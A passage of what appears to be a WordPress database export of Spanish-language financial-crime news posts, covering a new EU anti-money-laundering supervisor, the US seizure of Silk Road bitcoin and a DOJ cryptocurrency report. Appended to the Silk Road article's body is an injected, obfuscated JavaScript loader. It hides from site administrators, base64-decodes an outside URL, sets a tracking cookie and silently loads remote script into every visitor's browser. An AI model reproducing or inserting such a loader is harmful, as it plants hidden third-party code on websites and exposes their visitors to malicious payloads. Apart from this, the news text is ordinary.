unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han 